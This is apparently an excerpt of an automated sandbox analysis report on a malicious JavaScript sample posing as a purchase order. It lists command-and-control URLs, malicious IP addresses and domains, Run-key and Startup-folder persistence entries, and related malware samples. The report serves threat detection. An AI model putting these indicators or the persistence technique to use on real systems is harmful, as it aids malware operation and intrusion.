http://dilshadkhan.duia.ro:6670/VrebWcgPSAi	wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreMw	wscript.exe, 00000002.00000003.896415401.0000015597A51000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0ytFd.	explorer.exe, 00000004.00000000.474624274.0000000007EF6000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/Vreadkhan.duum	wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.google.com/chrome/	explorer.exe, 00000004.00000000.517507891.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478929782.000000000DFF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540379994.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852	explorer.exe, 00000004.00000000.477200448.00000000081D3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.537643218.00000000081D3000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.msn.com/?ocid=iehp	explorer.exe, 00000004.00000000.517507891.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478929782.000000000DFF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540379994.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/iehposignin141sntEs	explorer.exe, 00000004.00000000.475095108.0000000008044000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/Vreox	wscript.exe, 00000009.00000003.799097708.000002A0FC3C2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798949584.000002A0FC3BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.796829092.000002A0FC3A7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreMpN	wscript.exe, 00000009.00000002.972932842.000002A0FE300000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VrentWW	wscript.exe, 00000005.00000003.919362750.000002CA03732000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920503026.000002CA0373B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.domainnameshop.com/whois?currency=SEK&lang=sv	rundll32.exe, 0000000D.00000002.1035473126.00000000049E2000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0m	explorer.exe, 00000004.00000000.488060173.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/VreMs&	wscript.exe, 00000007.00000002.962073296.0000019175BB8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vre9	wscript.exe, 00000009.00000003.795747446.000002A0FE3C4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vre2	wscript.exe, 00000005.00000003.921517592.000002CA056E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.999768148.000002CA056E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreMF	wscript.exe, 00000005.00000003.921517592.000002CA056E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.999768148.000002CA056E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vre4	wscript.exe, 00000007.00000002.973441987.0000019175C0F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreeX9	wscript.exe, 00000007.00000003.938446628.0000019173A5D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938737820.0000019173A76000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938565002.0000019173A64000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938264988.0000019173A54000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961784713.0000019173A77000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938676812.0000019173A67000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vre0	wscript.exe, 00000002.00000003.896087228.0000015597A8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.703640260.0000015597A27000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vre1	wscript.exe, 00000005.00000003.755909949.000002CA03738000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vrenter2	wscript.exe, 00000002.00000002.961961202.0000015597A20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.774305004.0000019173A76000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1	explorer.exe, 00000004.00000000.517717240.000000000E01D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.474624274.0000000007EF6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540526960.000000000E01D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.572487291.000000000E01D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478971428.000000000E01D000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/KCQlm	wscript.exe, 00000009.00000003.512513259.000002A0FE165000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vrets	wscript.exe, 00000009.00000002.973024572.000002A0FE375000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreM:	wscript.exe, 00000005.00000002.999768148.000002CA056E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.msn.com/de-ch/?ocid=iehpr2	explorer.exe, 00000004.00000000.517507891.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478929782.000000000DFF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540379994.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/Vre)	wscript.exe, 00000005.00000003.919362750.000002CA03732000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920503026.000002CA0373B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VrecomputerNUMBER_OF_H	wscript.exe, 00000009.00000003.798741707.000002A0FE393000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797946340.000002A0FE38D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798562853.000002A0FE392000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreHGG	wscript.exe, 00000007.00000003.773058007.0000019175C95000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreoX&B	wscript.exe, 00000007.00000002.962073296.0000019175BB8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.msn.com/?ocid=iehpHg9s	explorer.exe, 00000004.00000000.475095108.0000000008044000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/92	explorer.exe, 00000004.00000000.517507891.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478929782.000000000DFF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540379994.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/Vrenter2Pac	wscript.exe, 00000009.00000003.796829092.000002A0FC3A7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797967352.000002A0FC3D3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vre~	wscript.exe, 00000007.00000002.973441987.0000019175C0F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreZXBsYWNl	wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-1000	wscript.exe, 00000002.00000003.895989838.0000015597AB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.970059033.0000015597A51000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreKTsNClZO	wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vrew	wscript.exe, 00000005.00000002.964582567.000002CA03739000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vret	wscript.exe, 00000007.00000002.962073296.0000019175BB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938835842.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773589121.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.google.com/chrome/static/images/favicons/favicon-16x16.png	explorer.exe, 00000004.00000000.475095108.0000000008044000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.475980973.000000000811E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/Vreo	wscript.exe, 00000002.00000002.970059033.0000015597A51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938835842.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.796829092.000002A0FC3A7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797967352.000002A0FC3D3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vrep	wscript.exe, 00000009.00000003.796829092.000002A0FC3A7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797967352.000002A0FC3D3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vrel	wscript.exe, 00000005.00000003.919362750.000002CA03732000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920503026.000002CA0373B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vrei	wscript.exe, 00000002.00000002.978866316.0000015597A7D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreXGxvY2Fs	wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	explorer.exe, 00000004.00000000.536624812.0000000007FFF000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/Vreadkhan.d	wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-100	wscript.exe, 00000005.00000003.919796248.000002CA03757000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.921500706.000002CA03757000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.755644912.000002CA03755000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.937481985.0000019175C88000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773445797.0000019175C51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938372471.0000019175C8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.774215223.0000019175C5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.937512517.0000019175C5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.973084193.000002A0FE3BB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797669252.000002A0FE3BB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798581012.000002A0FE39B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.796772281.000002A0FE3B9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797946340.000002A0FE38D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.796252633.000002A0FE3B0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798562853.000002A0FE392000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2	explorer.exe, 00000004.00000000.476577870.0000000008172000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/VreITL	wscript.exe, 00000007.00000003.774092404.0000019175C88000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773130942.0000019175C83000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreR	wscript.exe, 00000005.00000003.919362750.000002CA03732000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920503026.000002CA0373B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreP	wscript.exe, 00000005.00000003.754939043.000002CA057A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.964582567.000002CA03739000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0	explorer.exe, 00000004.00000000.614262773.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.614755248.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.524881667.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.524457764.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.488060173.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.487873413.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.domeneshop.no/whois	rundll32.exe, 0000000D.00000002.1035473126.00000000049E2000.00000004.10000000.00040000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/VreM	wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.959396798.0000015595552000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.970059033.0000015597A51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.921517592.000002CA056E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.999768148.000002CA056E0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961147065.0000019173A2A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.799097708.000002A0FC3C2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798949584.000002A0FC3BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966615187.000002A0FC3C3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.796829092.000002A0FC3A7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vre-Agent((m	wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreG	wscript.exe, 00000002.00000003.896542475.0000015597A95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.896087228.0000015597A8A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreI	wscript.exe, 00000005.00000003.919362750.000002CA03732000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920503026.000002CA0373B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://dilshadkhan.duia.ro:6670/Vrenter22	wscript.exe, 00000005.00000003.755644912.000002CA03755000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.755692263.000002CA0376A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VrePSAiQ2wi	wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.domainnameshop.com/whois	rundll32.exe, 0000000D.00000002.1035473126.00000000049E2000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dilshadkhan.duia.ro:6670/Vre0D	wscript.exe, 00000002.00000003.896380234.0000015597A27000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.961961202.0000015597A20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.703640260.0000015597A27000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrr	wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrrm	wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=	explorer.exe, 00000004.00000000.537134730.000000000813C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.537519128.000000000818D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.476053409.000000000813C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.512260933.000000000818D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.476914061.000000000818D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.511552982.000000000813C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt	explorer.exe, 00000004.00000000.476914061.000000000818D000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1LMEM	explorer.exe, 00000004.00000000.475095108.0000000008044000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.536743740.0000000008044000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.510215126.0000000008044000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/Vrer:	wscript.exe, 00000005.00000003.919796248.000002CA03757000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.921213700.000002CA0376A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.ratebill.com	rundll32.exe, 0000000D.00000002.1037944488.000000000505B000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.msn.com/de-ch/?ocid=iehp	explorer.exe, 00000004.00000000.517507891.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478929782.000000000DFF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540379994.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/Vreadkhan.duu	wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/Vreoft.XMLHTTPll	wscript.exe, 00000005.00000003.755185989.000002CA0572D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1LMEM	explorer.exe, 00000004.00000000.524457764.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.487873413.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false		high
http://dilshadkhan.duia.ro:6670/VreG1C	wscript.exe, 00000009.00000002.955051076.000002A0FC2F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dilshadkhan.duia.ro:6670/	wscript.exe, 00000009.00000002.972899634.000002A0FE18A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.964440619.000002A0FC389000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.domainnameshop.com/	rundll32.exe, 0000000D.00000002.1035473126.00000000049E2000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;g	explorer.exe, 00000004.00000000.478971428.000000000E01D000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
170.39.76.27	www.jlbwaterdamagerepairseattle.com	Reserved	139776	PETRONAS-BHD-AS-APPetroliamNasionalBerhadMY	true
160.153.136.3	rasheedabossmoves.com	United States	21501	GODADDY-AMSDE	true
185.53.179.171	www.pdwfifi.com	Germany	61969	TEAMINTERNET-ASDE	true
162.0.230.89	www.topings33.com	Canada	22612	NAMECHEAP-NETUS	true
207.174.214.35	halecamilla.site	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
66.235.200.145	muddybootslife.com	United States	13335	CLOUDFLARENETUS	true
23.231.99.207	www.refreshertowels.com	United States	62904	EONIX-COMMUNICATIONS-ASBLOCK-62904US	true
52.17.85.125	shop.freewebstore.org	United States	16509	AMAZON-02US	false
137.220.133.198	www.ratebill.com	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	true
185.134.245.113	www.localbloom.online	Norway	12996	DOMENESHOPOsloNorwayNO	true
91.193.75.133	dilshadkhan.duia.ro	Serbia	209623	DAVID_CRAIGGG	true
103.247.11.212	sekolahkejepang.com	Indonesia	58487	RUMAHWEB-AS-IDRumahwebIndonesiaCVID	true
45.39.111.146	www.68chengxinle.com	United States	18779	EGIHOSTINGUS	true
172.67.140.71	www.medyumgalip.com	United States	13335	CLOUDFLARENETUS	true
35.241.47.216	www.84866.xyz	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	635297
Start date and time: 27/05/202218:39:01	2022-05-27 18:39:01 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	CIQ-PO16266.js
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winJS@19/7@40/16
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 40.9% (good quality ratio 37.4%) Quality average: 71.2% Quality standard deviation: 31.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 97 Number of non-executed functions: 107
Cookbook Comments:	Found application associated with file extension: .js Adjust boot time Enable AMSI Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.72.205.209, 20.44.239.154, 20.49.150.241, 40.119.249.228, 52.137.106.217
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, settings-prod-wus2-2.westus2.cloudapp.azure.com, settings-prod-sea-2.southeastasia.cloudapp.azure.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, settings-prod-sea-1.southeastasia.cloudapp.azure.com, arc.msn.com, atm-settingsfe-prod-weighted.trafficmanager.net, ris.api.iris.microsoft.com, settings-prod-uks-2.uksouth.cloudapp.azure.com, settings-prod-wus2-1.westus2.cloudapp.azure.com, store-images.s-microsoft.com, login.live.com, img-prod-cms-rt-microsoft-com.akamaized.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:40:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK "C:\Users\user\AppData\Roaming\wtheeNaAZG.js"
18:40:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK "C:\Users\user\AppData\Roaming\wtheeNaAZG.js"
18:40:40	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js
18:43:14	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run A8TP0DJ0GF C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
160.153.136.3	CIQ-PO162667.js	Get hash	malicious	Browse	www.rasheedabossmoves.com/np8s/?c2MH6DeP=pvCvVC1srqMzTu3vjZ/Pi4S7puQ7WYlroZs2vwEH9SE4BkgUF4SEMyF7QpXUX37idvZ6&hFQL=JXUhrvXxUhF4
	Bolt,Screw and Nuts Pdf.exe	Get hash	malicious	Browse	www.milesjah.com/rh2e/?_p=chcepMbtKt/a+3TNmPaOppGfC8LCbGMwy5ZY5LKeOVquuaE37Cnqr3VUHHocws4voBeDbFAP6Q==&b2JLc=f0GX8zlxG
	http://lawrencetravelco.com	Get hash	malicious	Browse	lawrencetravelco.com/
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Browse	www.cestoballasia.info/as31/?hPU=5kIsTge4mzc80xXpJgoTfxmhghMSx+bN6guHUAlEXkc0mCm6ej+I0+3fUI3qESKM/Ky3&Ibfd=8pSLDFMX
	SecuriteInfo.com.Trojan.MSIL.AgentTesla.LLD.MTB.13803.exe	Get hash	malicious	Browse	www.reflectionsgwc.com/vmqm/?D6=HkO1UWBzQYJK+dFBRxBVNbdBMPUw9ViK5+gMW2WGlG4yJWYlUhuNXLeIZx7zUlQaeyY766NnOA==&d8V=_6zpCHX
